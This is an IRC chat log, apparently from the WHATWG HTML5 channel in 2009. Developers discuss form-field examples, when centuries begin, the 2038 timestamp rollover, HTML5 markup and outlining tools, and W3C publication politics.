the lang="" joke is probably too subtle for most of your audience, and is likely to cause copy-paste issues

[22:36:00.0000] <hober>
hmmm. yeah, maybe I should change it.

[00:26:00.0000] <Hixie>
anyone have any good examples of read-only text fields? (not disabled)

[00:32:00.0000] <othermaciej>
I can think of common read-only textarea examples, but not text fields

[00:32:01.0000] <othermaciej>
(the example for text areas being clickwrap license agreements)

[00:36:00.0000] <Hixie>
ooh, found one in mac os x preferences

[00:36:01.0000] <Hixie>
User Name field in Accounts prefpane when the prefs are locked

[00:41:00.0000] <othermaciej>
sort of - it doesn't behave like a read-only control in that it lets you set a caret

[00:41:01.0000] <othermaciej>
it would be more accurate to say it is read-write, but intercepts typing and poses a challenge before typing can take effect

[00:41:02.0000] <othermaciej>
but close enough I guess

[00:50:00.0000] <Hixie>
yeah

[02:37:00.0000] <annevk2>
Hixie, the password example is wrong

[02:37:01.0000] <annevk2>
Hixie, can't use onforminput there

[02:37:02.0000] <Hixie>
why not

[02:37:03.0000] <annevk2>
Hixie, maybe onchange

[02:37:04.0000] <annevk2>
Hixie, because the error will hilited the moment password1 gets a single character and from thenon

[02:38:00.0000] <Hixie>
so?

[02:38:01.0000] <Hixie>
that's the idea

[02:38:02.0000] <annevk2>
with the UA potentially focusing the second field?

[02:38:03.0000] <Hixie>
why would the UA focus the second field?

[02:38:04.0000] <annevk2>
because it's invalid

[02:39:00.0000] <Hixie>
so?

[02:39:01.0000] <Hixie>
fields become invalid all the time

[02:39:02.0000] <Hixie>
the UA isn't going to focus them whenever they get invalid

[02:39:03.0000] <Hixie>
that'd be UI from hell

[02:40:00.0000] <annevk2>
hmm, maybe I misunderstood setCustom..

[02:41:00.0000] <Hixie>
it doesn't do anything except flip the "invalid" bit

[02:43:00.0000] <annevk2>
zcorpan, 21st century started in 2001 per Wikipedia at least

[03:01:00.0000] <Lachy>
indeed, wikipedia is actually correct in this case, cause there was no year 0, the century went from 1901-2000

[03:25:00.0000] <jgraham>
But, on the other hand, people who insist on using that definition despite the common usage of zero-based centuries are silly

[03:33:00.0000] <hsivonen>
http://www.douglasadams.com/dna/pedants.html

[03:41:00.0000] <Philip`>
Is it actually true that people considered 1900 to be the start of the new century?

[03:42:00.0000] <GarethAdams_>
of course

[03:43:00.0000] <GarethAdams_>
don't you remember 1st Jan 2000? well they weren't any cleverer the previous century 

[03:43:01.0000] <Philip`>
Picking a totally random example, http://books.google.co.uk/books?id=cfAGav7e1FUC&lpg=PA750&as_brr=1&pg=PA750#v=onepage&q=&f=false mentions "The first year of the new century" in 1901

[03:43:02.0000] <Lachy>
Philip`, that just proves that at least some people did some fact checking before publishing back then.

[03:44:00.0000] <GarethAdams_>
oh, http://www.economicexpert.com/a/Zero:ists.html says differently

[03:45:00.0000] <GarethAdams_>
although there's no source there

[03:46:00.0000] <Philip`>
GarethAdams_: So it's just as well sourced as http://www.douglasadams.com/dna/pedants.html :-)

[03:47:00.0000] <GarethAdams_>
strictly speaking, yes

[03:47:01.0000] <GarethAdams_>
:P

[03:52:00.0000] <jgraham>
Well I do and Zcorpan did so, pedantically, that counts as "people"

[03:55:00.0000] <jgraham>
But I think the experience of 1999 shows that a) almost everyone considers years ending 00 to be the start of a new century and b) there is a hard core of boring people who will write endless letters to newspapers about how everyone else is wrong

[03:55:01.0000] <Lachy>
it doesn't really matter when people choose to celbrate the beginning of a new century. That's just any 100 year period. People could celebrate it next year on 2010-01-01 if they like

[03:57:00.0000] <jgraham>
But, in fact, everyone called 2000-01-01 "the start of the 21st Century"

[03:58:00.0000] <Lachy>
they were wrong

[03:59:00.0000] <Lachy>
luckily facts are not determined on the basis of popularity

[03:59:01.0000] <Philip`>
I hope you're not proposing to accept popular opinion over factual argument

[03:59:02.0000] <jgraham>
It's a naming convention. Popular argument wins in naming conventions

[04:00:00.0000] <jgraham>
It happens to not corresponf to 21 cenuries since the BC/AD changeover but so what? No one cares about that

[04:01:00.0000] <jgraham>
It is conceptually much simpler to label centuries as starting in 00 years. So everyone does

[04:03:00.0000] <Philip`>
Only everyone in the past few decades, it seems

[04:04:00.0000] <GarethAdams_>
<Philip`> I hope you're not proposing to accept popular opinion over factual argument

[04:05:00.0000] <GarethAdams_>
^^that's an unusual point to make in the HTML5 channel ;)

[04:06:00.0000] <Philip`>
Picking another totally random example, http://books.google.co.uk/books?id=NjkIAAAAQAAJ&as_brr=1&pg=RA1-PA443#v=onepage&f=false says "As the union between Britain and Ireland was to commence the next day, which was the first of the new year, and of the new century, ..." (referrin to 1 January 1801)

[04:06:01.0000] <Philip`>
s//g/

[04:08:00.0000] <GarethAdams_>
and s//g/ is not the right expression to use in a room of pedants ;)

[04:08:01.0000] <Philip`>
http://books.google.co.uk/books?id=JaYMAAAAIAAJ&as_brr=1&pg=RA1-PA595#v=onepage&f=false - "The commencement of the new century, 1801, ..."

[04:08:02.0000] <jgraham>
Philip`: Using books as a source is a big election bias because they have an unusual tendency to be pedantically correct

[04:08:03.0000] <jgraham>
*selection

[04:09:00.0000] <Philip`>
It's better than using no source at all

[04:09:01.0000] <jgraham>
Philip`: Not necessarily, if the answer it gives is misleading

[04:09:02.0000] <GarethAdams_>
http://www.googlefight.com/index.php?lang=en_GB&word1=new+century+1900&word2=new+century+1901

[04:10:00.0000] <Philip`>
GarethAdams_: It's been well-established that IRC regexps are highly context-sensitive and only apply in the location of the relevant string where they make the most sense

[04:10:01.0000] <jgraham>
Anyway it's what people believe today that's important. Otherwise we would all insist in talking about Web Founts

[04:11:00.0000] <Philip`>
jgraham: I thought the WHATWG approach was that any data is better than no data, regardless of potential misleadingness

[04:12:00.0000] <jgraham>
Philip`: That seems like a bad approach :)

[04:12:01.0000] <Philip`>
e.g. a video of a single user is useful evidence about how users in general interact with accessibility tools

[04:12:02.0000] <jgraham>
Yeah, that was somewhat dubious

[04:13:00.0000] <Philip`>
jgraham: It's a problem if people believe today that most people believed n (>0) hundred years ago that centuries started in '00, if that's factually inaccurate

[04:14:00.0000] <Lachy>
although that video was better than nothing, there were so many problems with it that made getting usable data from it impossible

[04:14:01.0000] <Philip`>
GarethAdams_: That just shows when modern people think the 19th century started, not what 19th century people thought

[04:14:02.0000] <jgraham>
Even assuming the common definition has shifted, I think you have epsilon of a problem there with epsilon->0

[04:15:00.0000] <Philip`>
I'm assuming n is an integer

[04:16:00.0000] <GarethAdams_>
so was 2000 in the 20th or 21st century?

[04:16:01.0000] <Philip`>
GarethAdams_: Yes

[04:16:02.0000] <Philip`>
/me is reminded of the old maths joke, "Let epsilon be a large negative number."

[04:16:03.0000] <GarethAdams_>
so which was 2000 in; the 20th or 21st century?

[04:16:04.0000] <and>
(One should use a different naming convention if one wants a different definition of century, like Italian Quattrocento or Swedish 1900-talet.)

[04:16:05.0000] <jgraham>
GarethAdams_: According to anyone you'd like to meet at a party, the 21st

[04:16:06.0000] <Philip`>
GarethAdams_: The 20th according to the definition that makes the most mathematical sense

[04:17:00.0000] <Philip`>
(and that doesn't make the 1st century either one year shorter than any other century, or start in 1 BC)

[04:18:00.0000] <jgraham>
/me is happy with the first century having 99 years in the same way that the year with the calendar change in it has the wrong number of days

[04:19:00.0000] <jgraham>
(unless people would like to measure centuries in astronomical units, in which case it isn't the first of January in any year)

[04:19:01.0000] <jgraham>
s/it/the chnge/

[04:19:02.0000] <Philip`>
Can we forget about centuries and just use seconds since the UNIX Epoch?

[04:24:00.0000] <Philip`>
/me remembers the original Time Machine movie was set at the start of the 20th century, but can't remember whether the dials on the machine said 1900 or 1901

[04:24:01.0000] <Philip`>
(The book doesn't seem to say anything about the year it was set in, though)

[04:37:00.0000] <Lachy>
/me sets his calendar to for a celebration on 2033-05-18T03:33:20Z

[04:38:00.0000] <Lachy>
that's 2,000,000,000 seconds since the Unix epoch

[04:39:00.0000] <Philip`>
What significance does that number have?

[04:39:01.0000] <Philip`>
(except in decimal, which isn't significant)

[04:40:00.0000] <Lachy>
it is for the same reason that 1,234,567,890 seconds was significant back in February this year

[04:40:01.0000] <Hixie>
Randy Pausch's "Really Achieving Your Childhood Dreams" lecture is fantastic, in case any of you care

[04:40:02.0000] <Hixie>
(it's on iTunes U)

[04:40:03.0000] <Philip`>
Lachy: i.e. it's not significant at all?

[04:42:00.0000] <Philip`>
(It's on YouTube too)

[04:42:01.0000] <Lachy>
well, I tried lookng checking what date 1000 0000 0000 0000 0000 0000 0000 0000 (binary), but I the online calculator I found broke

[04:42:02.0000] <Philip`>
$ perl -le'print scalar gmtime (2**31)'

[04:42:03.0000] <Philip`>
Tue Jan 19 03:14:08 2038

[04:43:00.0000] <Philip`>
That's a much more significant event

[04:43:01.0000] <Lachy>
oh, yeah, that's the 2038 problem

[04:44:00.0000] <Philip`>
/me is now prepared for that problem, having upgraded to 64-bit Linux

[04:44:01.0000] <Hixie>
Philip`: so it is. hadn't heard about it until just now where i stumbled across it completely by accident

[04:45:00.0000] <Lachy>
Apparently OS X Leopard isn't prepared for it: Fri Dec 13 20:45:52 1901

[04:45:01.0000] <GarethAdams_>
Hixie: really? I'm surprised you didn't know about the 2038 problem

[04:46:00.0000] <Philip`>
Hixie: That lecture was quite popular when it was first released

[04:46:01.0000] <Hixie>
/me was not talking about the quite uninteresting 32bit time_t rollover issue

[04:46:02.0000] <Philip`>
which I suppose is obvious given the 10 million Youtube hits

[04:46:03.0000] <Hixie>
Philip`: yeah, so i've now discovered from wikipedia :-)

[04:47:00.0000] <Hixie>
i've been watching a lot of walter lewin's physics lectures, which i've seen clips off before, but which are quite fascinating in their entirety

[04:47:01.0000] <Hixie>
he's far more compelling than my lecturers were

[04:47:02.0000] <Hixie>
it's also a lot more fun to learn this stuff when you don't have an exam looming

[04:48:00.0000] <Hixie>
("learn" might be the wrong word.)

[04:48:01.0000] <Hixie>
("revise", maybe)

[04:51:00.0000] <Steve^>
Don't suppose there's an HTML5 outline tool available for download?

[04:51:01.0000] <Lachy>
Steve^, you should be able to get the source from gsnedders

[04:52:00.0000] <Steve^>
ok

[04:52:01.0000] <Steve^>
and then hopefully someone will add it to dragonfly too

[04:53:00.0000] <Lachy>
it would have to be rewritten for that

[04:54:00.0000] <Lachy>
but I suggest you file a feature request bug for it

[04:57:00.0000] <Steve^>
can I still do that now that I've left Opera?

[05:32:00.0000] <Lachy>
Steve^, anyone can file a bug report

[05:33:00.0000] <Lachy>
the only problem is that our bug tracker isn't open so you won't be able to track the progress

[05:42:00.0000] <Steve^>
that's interesting, gsnedders' outliner understands CSS?

[05:42:01.0000] <gsnedders>
Steve^: No

[05:42:02.0000] <Steve^>
wait no

[05:42:03.0000] <Steve^>
I've just not used CSS properly somewhere :P

[05:42:04.0000] <gsnedders>
/me leaves again

[05:42:05.0000] <Steve^>
bye

[06:06:00.0000] <Philip`>
Lachy: https://bugs.opera.com/wizard/ seems to indicate it's just for bugs, and feature requests aren't suitable

[06:10:00.0000] <Dashiva>
Argue the feature is so useful not supporting it is a bug

[06:12:00.0000] <Philip`>
How do you describe how to reproduce the lack of feature in three or more steps?

[06:12:01.0000] <Dashiva>
Try to use feature. Nothing happens. Expected: Something happens.

[06:13:00.0000] <Philip`>
"Try to use the feature" is only one step

[06:13:01.0000] <Dashiva>
Go to a website where you'd want to use the feature. Try to use the feature. Note nothing happens. Try to locate option to enable feature. Find none.

[06:13:02.0000] <Dashiva>
That's five

[06:13:03.0000] <Philip`>
Maybe you could do "1) Look in the File menu for the feature. 2) Look in the Edit menu for the feature. 3) Look in the View menu for the feature. Expected results: I should find the feature. Actual results: I don't find the feature."

[06:14:00.0000] <Philip`>
Dashiva: You're mixing the outcome with the reproduction steps, which is violating the design of the form

[06:15:00.0000] <Dashiva>
Well, it's still three if you remove the "find nothing" steps.

[08:47:00.0000] <Steve^>
phew, thank god for vim backups. I got overly friendly with rm

[09:32:00.0000] <gsnedders>
Mr Last Week (whom I assume is reading this): Why the song for me in the latest post?

[09:36:00.0000] <gsnedders>
hmm, http://www.w3.org/2009/09/11-hcg-minutes.html really is fairly interesting (MO link)

[09:39:00.0000] <Steve^>
I need your password

[10:01:00.0000] <Pure>
Any help for a html4 dog to learn html5?

[10:01:01.0000] <cardona507>
Pure - start here http://www.whatwg.org/

[10:02:00.0000] <miketaylr>
diveintohtml5.org is purty.

[10:03:00.0000] <Pure>
Just wondering, can the new tags, like canvas, be used with Php

[10:04:00.0000] <Philip`>
They can be used with PHP to the same extent that any other HTML element can be used with PHP

[10:05:00.0000] <Pure>
I mean, can the canvas content be passed as a GET/POST?

[10:08:00.0000] <Philip`>
Do you mean something like uploading the bitmap content of a canvas to a server?

[10:08:01.0000] <Philip`>
If so, you can use canvas.toDataURL() to get a string representing the canvas bitmap (encoded as a PNG), and then upload that

[10:27:00.0000] <Pure>
Also, Local Storage?

[10:29:00.0000] <Steve^>
of what?

[10:32:00.0000] <Pure>
Sounds scary 

[10:38:00.0000] <Pure>
If a browser doesn't support a certain feature, are there libraries to emulate the feature?'

[10:39:00.0000] <Philip`>
There are for some features

[10:39:01.0000] <Steve^>
there is for the non-embedded stuff

[10:39:02.0000] <Philip`>
e.g. there's libraries to emulate <canvas> in IE

[10:40:00.0000] <Steve^>
are they any good?

[10:44:00.0000] <Philip`>
No, unless you only want to do pretty simple things

[11:05:00.0000] <erlehmann>
Pure, plugins are more complicated, though. you can have theora and vorbis by adding a qucktime thingy, but the user has to explicitly install it.

[11:05:01.0000] <erlehmann>
also, i think there was a web forms 2.0 javascript library

[11:12:00.0000] <Steve^>
How would you mark up blog comments? I've chosen an article containing an ordered list of articles.

[11:14:00.0000] <erlehmann>
Steve^, following the spec example ?

[11:14:01.0000] <Steve^>
whereabouts is that?

[11:15:00.0000] <gsnedders>
Steve^: In http://www.whatwg.org/specs/web-apps/current-work/

[11:15:01.0000] <gsnedders>
/me ducks

[11:15:02.0000] <Steve^>
yes, that's the spec, well done

[11:15:03.0000] <Steve^>
I actually have a PDF version open, so shoo!

[11:15:04.0000] <gsnedders>
ewww, print media ;P

[11:18:00.0000] <hober>
Steve^: http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-article-element

[11:18:01.0000] <hober>
specifically, "where article elements are nested..."

[11:19:00.0000] <Steve^>
oops, thank you

[11:19:01.0000] <Steve^>
I read it, but not hard enough

[11:22:00.0000] <zcorpan>
javascript:'<frameset cols=*,*><frame src=http://validator.nu/?doc='+encodeURIComponent(location.href)+'><frame src=http://gsnedders.html5.org/outliner/process.py?url='+encodeURIComponent(location.href)+'></frameset>'

[11:22:01.0000] <zcorpan>
bookmarklet to validate and check outline

[11:23:00.0000] <miketaylr>
ooh

[11:23:01.0000] <miketaylr>
rad

[11:27:00.0000] <Steve^>
awesome

[11:27:01.0000] <miketaylr>
thanks zcorpan

[11:27:02.0000] <zcorpan>
np

[11:29:00.0000] <gsnedders>
/me wonders if he'll have time to rewrite the outliner this month

[11:30:00.0000] <Steve^>
what's wrong with it?

[11:30:01.0000] <gsnedders>
It could be 100% more awesome.

[11:30:02.0000] <Philip`>
It's software, therefore it needs to be rewritten

[11:35:00.0000] <gsnedders>
annevk2: Is there any reason that scrollIntoView isn't in CSSOM View?

[11:35:01.0000] <hober>
Steve^: using an ordered list is semantic abuse; document order is ordering enough for this case

[11:37:00.0000] <Steve^>
where do you draw the line on that?

[11:37:01.0000] <Steve^>
comments are something that I would actually number

[11:53:00.0000] <Pure>
Is there still a way to use frames?

[11:55:00.0000] <hober>
Steve^: <ol> means that if you change the order of the <li>s, you've changed the meaning of the text. document order provides enough semantic ordering, <ol> too much.

[13:09:00.0000] <annevk2>
gsnedders, it's in HTML5, no?

[13:09:01.0000] <gsnedders>
annevk2: Yeah

[13:10:00.0000] <gsnedders>
annevk2: But why not have it exist on any Element?

[13:12:00.0000] <annevk2>
dunno

[13:12:01.0000] <annevk2>
couldn't care less

[13:34:00.0000] <gsnedders>
annevk2: It seems a needless diff. between Element and HTMLElement

[13:53:00.0000] <annevk2>
if that was the only one I might care more

[13:53:01.0000] <annevk2>
or someone else would

[14:10:00.0000] <othermaciej>
good day

[14:23:00.0000] <gsnedders>
/me squint at othermaciej 

[14:24:00.0000] <gsnedders>
"good"!?

[14:24:01.0000] <gsnedders>
/me ducks

[14:24:02.0000] <othermaciej>
gsnedders: "acceptable"?

[14:25:00.0000] <gsnedders>
That'll do.

[14:31:00.0000] <virtuelv>
Isn't good day mostly used when the intent is insult?

[14:32:00.0000] <virtuelv>
wiktionary supports that definition, at least - http://en.wiktionary.org/wiki/good_day

[14:32:01.0000] <gsnedders>
Uh, not really…

[14:32:02.0000] <Philip`>
It's a possible meaning, but not the most common

[14:33:00.0000] <virtuelv>
the only reason I remember this is because a former prime minister used it towards the then british PM

[14:35:00.0000] <virtuelv>
(or some british minister, at least -- if it was the PM, all the better, because that was Margaret Hilda Thatcher

[14:35:01.0000] <othermaciej>
it depends on tone

[14:35:02.0000] <virtuelv>
of course

[14:35:03.0000] <othermaciej>
if you say "good day" in a huffy, dismissive voice, you are rudely telling someone that you won't talk to them any more

[14:36:00.0000] <othermaciej>
if you say it in a cheerful tone with an Aussie accent, you are warmly greeting them

[14:36:01.0000] <virtuelv>
that'd be g'day

[14:36:02.0000] <virtuelv>
listed separately in dictionaries, even

[14:36:03.0000] <virtuelv>
either way, good night

[14:38:00.0000] <Philip`>
If you don't do the accent, it's less warm but still a suitable greeting when you don't know the listener's timezone

[14:38:01.0000] <Philip`>
or at least that's how I understand it

[14:39:00.0000] <othermaciej>
it's pretty much never rude as a greeting as opposed to as a farewell

[14:51:00.0000] <Lachy>
then what would it mean if I said it dismissively in my cheeful Aussie accent?

[14:58:00.0000] <AryehGregor>
"Good day" isn't rude any more than anything else.  I mean, you could say "thank you" in a withering, sarcastic tone of voice too.

[15:00:00.0000] <Philip`>
I can't imagine a way of saying "thank you" that would have quite the same 'go away, I'm fed up with you now and don't want to hear any more from you' meaning that an exasperated "good /day/" would have

[15:01:00.0000] <Philip`>
but maybe I'm just being unimaginative

[15:03:00.0000] <Lachy>
Philip`, it's easy to say thank you in a sarcastic tone, meaning that you're not really pleased with what the other person did

[15:03:01.0000] <Lachy>
I do frequently

[15:04:00.0000] <Philip`>
Lachy: That's not really an end-of-conversation expression, though

[15:12:00.0000] <ivan`>
often "thank you" is insulting because it's too brief and not thankful enough

[15:51:00.0000] <Hixie>
i need a flash app that just makes noise while loaded

[15:51:01.0000] <Hixie>
e.g. something that while running, beeps

[15:51:02.0000] <Hixie>
or plays audio

[15:51:03.0000] <Hixie>
or something

[15:52:00.0000] <Hixie>
(i'm trying to work out when flash stops running, e.g. when removed from a document, made display:none, etc)

[15:52:01.0000] <Hixie>
anyone know of any such files?

[15:52:02.0000] <_crow>
you could grab a flash music player from myspace or something

[15:52:03.0000] <_crow>
...but those stream music, not sure if that's helpful

[15:53:00.0000] <Hixie>
everything i've found so far requires you to press play

[15:54:00.0000] <Hixie>
before it makes sound

[15:54:01.0000] <_crow>
hmmm

[15:54:02.0000] <Hixie>
(or it takes too long to load)

[15:55:00.0000] <Hixie>
e.g. games take so long to load

[15:55:01.0000] <_crow>
yeah

[15:56:00.0000] <_crow>
this looks like it might be useful: http://flashbeep.net/

[15:58:00.0000] <_crow>
and you can bind it DOM events

[15:58:01.0000] <Hixie>
yeah found a few libraries but i'd really not have to rely on calling the api

[15:58:02.0000] <Hixie>
since that just brings something else into the tests

[16:04:00.0000] <_crow>
heh, not sure if this is flash or not...no time to dig thru source, but it plays automatically and loops: http://www.angelfire.com/super/badwebs/

[16:06:00.0000] <Hixie>
cool, thanks

[16:31:00.0000] <othermaciej>
/me wishes there were an updated version of http://philip.html5.org/tests/canvas/suite/tests/results.html

[16:31:01.0000] <othermaciej>
I guess it also needs text drawing tests

[16:32:00.0000] <Philip`>
/me wishes there was too

[16:32:01.0000] <Philip`>
/me needs more motivation to work on it again instead of doing other stuff

[16:33:00.0000] <Philip`>
(Text tests are the main thing, plus quite a few minor changes and additions)

[16:33:01.0000] <Philip`>
((like toDataURL with JPEG, and drawImage with video, etc, I guess))

[16:35:00.0000] <Philip`>
Hixie: By the way, did you see the few times I complained about toc.js in the past few days?

[16:35:01.0000] <Philip`>
It'd be nice to sort that out, so I can make any changes needed to the splitter and then get MikeSmith (I assume) to update the W3C copy

[16:35:02.0000] <Hixie>
Philip`: what's the question?

[16:36:00.0000] <Philip`>
Hixie: toc.js runs on e.g. http://www.whatwg.org/specs/web-apps/current-work/multipage/introduction.html and makes the TOC go all silly

[16:36:01.0000] <Philip`>
so it should be disabled except on the full TOC on the front page

[16:37:00.0000] <Hixie>
/me looks

[16:37:01.0000] <Hixie>
oh you have minitocs

[16:37:02.0000] <Hixie>
cool

[16:37:03.0000] <Philip`>
(I think I need class=toc to get the right styling, but that's the same hook the script uses)

[16:38:00.0000] <Hixie>
i've gotta go, but i'll look in a few hours

[16:39:00.0000] <Philip`>
Okay, thanks!

[16:39:01.0000] <Hixie>
is there some way i can tell from script whether we're in the full page or not?

[16:39:02.0000] <Philip`>
I could put a different class on the mini-tocs

[16:39:03.0000] <Hixie>
put it on the <html>

[16:39:04.0000] <Philip`>
(in addition to the class=toc for styling)

[16:39:05.0000] <Hixie>
that way i can disable the <dfn> one too

[16:40:00.0000] <Philip`>
toc.js should still run on http://www.whatwg.org/specs/web-apps/current-work/multipage/index.html, I think

[16:40:01.0000] <Philip`>
(but dfn.js presumably shouldn't)

[16:41:00.0000] <Hixie>
can you set class="split index" and class="split chapter" on the <html>?

[16:42:00.0000] <Hixie>
then when i get back i'll just have the script look for those and enable/disable subscripts accordingly

[16:43:00.0000] <Philip`>
Okay, can do


2009-09-14
[17:08:00.0000] <Philip`>
Hixie: <html class="split (index|chapter)"> is there now

[17:09:00.0000] <annevk2>
fwiw, this will cause pubrules issues down the road though I suppose the W3C edition can simply omit the classes altogether

[17:12:00.0000] <Philip`>
They don't like classes on <html>?

[17:37:00.0000] <AryehGregor>
http://www.w3.org/2005/07/pubrules?uimode=filter&uri=

[17:37:01.0000] <AryehGregor>
"All normative representations must either:

[17:37:02.0000] <AryehGregor>
validate as either HTML 4.x or as some version of XHTML that is a W3C Recommendation, or

[17:37:03.0000] <AryehGregor>
(for non-Recommendations) validate as XHTML+RDFa; see RDFa in XHTML: Syntax and Processing (Team Contacts please see the Communications Team to propose additional exceptions)."

[17:37:04.0000] <AryehGregor>
Guess that one's gonna have to be scrapped, huh?

[17:38:00.0000] <AryehGregor>
The front matter must appear at the beginning of the body of the document, within <div class="head">.

[17:39:00.0000] <AryehGregor>
<p><em>This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the <a href="http://www.w3.org/TR/">W3C technical reports index</a> at http://www.w3.org/TR/.</em></p>

[17:40:00.0000] <AryehGregor>
That's not conforming HTML 5, it's almost certainly misuse of <em> by HTML 5 standards.

[17:40:01.0000] <AryehGregor>
. . . overall, I think these publication rules are going to have to be hacked a bunch anyway for HTML 5.  :P

[17:47:00.0000] <Hixie>
Philip`: class="" is invalid in HTML4

[17:47:01.0000] <Hixie>
(on <html>)

[17:51:00.0000] <AryehGregor>
You could put it on the <body> instead.

[17:51:01.0000] <AryehGregor>
Doesn't make much difference.

[17:51:02.0000] <AryehGregor>
I know that's valid, because MediaWiki puts a new class on the <body> every time someone's bored.

[17:51:03.0000] <AryehGregor>
Also, MediaWiki contributors are frequently bored.

[17:52:00.0000] <AryehGregor>
Wait, is the W3C version of the HTML 5 spec seriously going to be published as an HTML 4 document?

[17:53:00.0000] <Hixie>
the w3c isn't convinced that html5 is compatible enough, or something

[17:54:00.0000] <Hixie>
i dunno, i stopped listening around the time they said that it wasn't obvious that we should publish html5 as html5

[17:54:01.0000] <Rik`>
that's a big vote of confidence for a standard

[17:55:00.0000] <Hixie>
it's more just an indication of how out of touch the w3c management is

[17:55:01.0000] <Hixie>
(with a couple of exceptions, who argued in favour of using html5)

[17:55:02.0000] <Hixie>
the whatwg version has used html5 for years

[17:58:00.0000] <Rik`>
eat your own dog food, they say

[17:59:00.0000] <AryehGregor>
In what way is it less compatible than HTML 4?

[17:59:01.0000] <Hixie>
beats me

[17:59:02.0000] <Hixie>
html4 used html4 since the earliest drafts

[18:00:00.0000] <Hixie>
it just seems like the w3c management is anti-html5 to me

[18:00:01.0000] <jcranmer>
NIH syndrome?

[18:02:00.0000] <Hixie>
could be

[18:02:01.0000] <Hixie>
dunno

[18:02:02.0000] <Hixie>
or just upset about the history

[18:02:03.0000] <Hixie>
or maybe they're just really that far out of touch

[18:02:04.0000] <Hixie>
who knows

[18:02:05.0000] <AryehGregor>
Well, they kind of had it forced on them against their will, I guess.  Not likely that they'll completely change their attitude toward the direction HTML should head just because the browser vendors force their hand.

[18:02:06.0000] <Hixie>
and frankly who cares :-)

[18:03:00.0000] <AryehGregor>
I get the impression that W3C involvement here is basically political and nobody important in the WHATWG really cares too much what they think.

[18:03:01.0000] <Hixie>
i think the situation is a lot more subtle than that

[18:04:00.0000] <Hixie>
at least speaking for me, it's more that i don't care _who_ has feedback, so it makes no difference to me whether it's w3c staff who think something or some random web author

[18:04:01.0000] <Hixie>
since only the technical merits of the feedback matter

[18:07:00.0000] <karlcow>
it seems the first WD version of XHTML 1 has been published in the "in-development" xhtml 1 format http://www.w3.org/TR/1998/WD-html-in-xml-19981205/

[18:08:00.0000] <AryehGregor>
But XHTML 2 and so on are all published in XHTML <= 1.1, right?

[18:08:01.0000] <AryehGregor>
XHTML 2, 1.2, whatever.  The ones nobody ever used.

[18:09:00.0000] <Hixie>
XHTML 2 couldn't have been published in XHTML 2 because it wasn't backwards compatible

[18:09:01.0000] <karlcow>
XHTML 2 working drafts were published in xhtml 1.0 http://www.w3.org/TR/2002/WD-xhtml2-20020805/

[18:09:02.0000] <Hixie>
(maybe they should have realised that it was doomed at that point, but oh well)

[18:10:00.0000] <karlcow>
and the last XHTML 2 WD was published using xhtml 1.0 too

[18:13:00.0000] <othermaciej>
AryehGregor: I care about helping W3C management make good decisions

[18:14:00.0000] <AryehGregor>
Okay, okay, I shouldn't have been so inflammatory, my bad.

[18:14:01.0000] <fupp>
ah, it's so nice to have full access to the dom tree from python with evaluated javascript and all

[18:14:02.0000] <AryehGregor>
HTML5 will proceed with or without the W3C, but probably better with than without.

[18:14:03.0000] <othermaciej>
I'm not sure the publication format of HTML5 is very important, but it does seem like it would make a better impression to publish HTML5 in HTML5

[18:14:04.0000] <AryehGregor>
Although I have to wonder if maybe the W3C has just gotten too bureaucratic and closed to be a good web standards body anymore.

[18:15:00.0000] <AryehGregor>
The WHATWG procedure seems obviously better to me.  Although I'm probably biased.

[18:15:01.0000] <AryehGregor>
Both because I'm not part of any W3C member organization, and because I'm one of those crazy wiki/open-source hippies.  :)

[18:15:02.0000] <othermaciej>
creating the HTML WG, adopting HTML5, and ending the XHTML2 WG all seem like steps in the right direction

[18:16:00.0000] <Dashiva>
Having w3c on board helps with the patent situation, doesn't it?

[18:16:01.0000] <othermaciej>
in fact you can join the HTML WG freely without being part of any Member organization

[18:16:02.0000] <AryehGregor>
Yeah, but we're still talking about an organization where to subscribe to the bloody mailing list I had to find and fill out multiple forms and wait two weeks.

[18:16:03.0000] <AryehGregor>
(www-style allows open subscription, why not public-html?)

[18:17:00.0000] <AryehGregor>
Dashiva, is anyone particularly concerned about HTML-related patents?

[18:17:01.0000] <Hixie>
AryehGregor: www-style is not the csswg's list

[18:17:02.0000] <AryehGregor>
Sigh.

[18:17:03.0000] <AryehGregor>
Right.

[18:17:04.0000] <AryehGregor>
Hidden stuff.

[18:17:05.0000] <othermaciej>
the main advantages of working with the W3C are: (1) patent policy; (2) Microsoft is willing to participate; (3) the W3C still has a lot of prestige in the eyes of the general public

[18:17:06.0000] <Hixie>
(though they are using it a lot, which is good)

[18:17:07.0000] <AryehGregor>
Hmm, yeah, (2) is certainly a good point.

[18:17:08.0000] <AryehGregor>
Haven't seen any Microsoft employees posting to whatwg.

[18:17:09.0000] <Hixie>
/me isn't really convinced about (3), and (2) is because of (1), so it's really just (1), imho

[18:18:00.0000] <othermaciej>
AryehGregor: Apple had a bunch of HTML-related patents which we disclosed and agreed to license RF as part of the HTML WG publication and patent review process

[18:18:01.0000] <AryehGregor>
othermaciej, interesting.

[18:18:02.0000] <othermaciej>
including a patent on <canvas>

[18:18:03.0000] <AryehGregor>
Ah.

[18:18:04.0000] <AryehGregor>
That's valuable, then.

[18:18:05.0000] <AryehGregor>
(3) isn't important, if HTML5 is the future then people will have to accept it whether they like it or not.

[18:18:06.0000] <AryehGregor>
It's good that XHTML was shut down, though.

[18:19:00.0000] <AryehGregor>
So if only we abolished software patents, we wouldn't need the W3C anymore?  :)

[18:19:01.0000] <othermaciej>
I'm not saying W3C is a perfect organization, but I believe it is moving in the right direction, and working with them seems worthwhile if it doesn't impose an unreasonable cost

[18:19:02.0000] <AryehGregor>
Sure.

[18:20:00.0000] <Hixie>
it's imposed a pretty high cost

[18:20:01.0000] <Hixie>
i don't know how much cost is considered reasonable

[18:20:02.0000] <Rik`>
I believe 3 is important for public organisations

[18:21:00.0000] <othermaciej>
I would also add that many specs that are very important but less visible than HTML5 are proceeding quite happily in the W3C without giant political fights

[18:21:01.0000] <AryehGregor>
Well, (3) doesn't matter in the long term, because HTML 5 will win in the long term and everyone will have to recognize it sooner or later.

[18:21:02.0000] <Rik`>
they might forbidden using HTML5 on their websites if it wasn't a W3C spec

[18:21:03.0000] <jcranmer>
AryehGregor: not all patents impacting software are software patents

[18:21:04.0000] <jcranmer>
H.264 is protected by DSP patents

[18:21:05.0000] <Hixie>
Rik`: is this the same organisations who use <embed> when youtube says that's how you embed video?

[18:21:06.0000] <Hixie>
Rik`: or heck, is this the same organisations who use window.open()?

[18:22:00.0000] <AryehGregor>
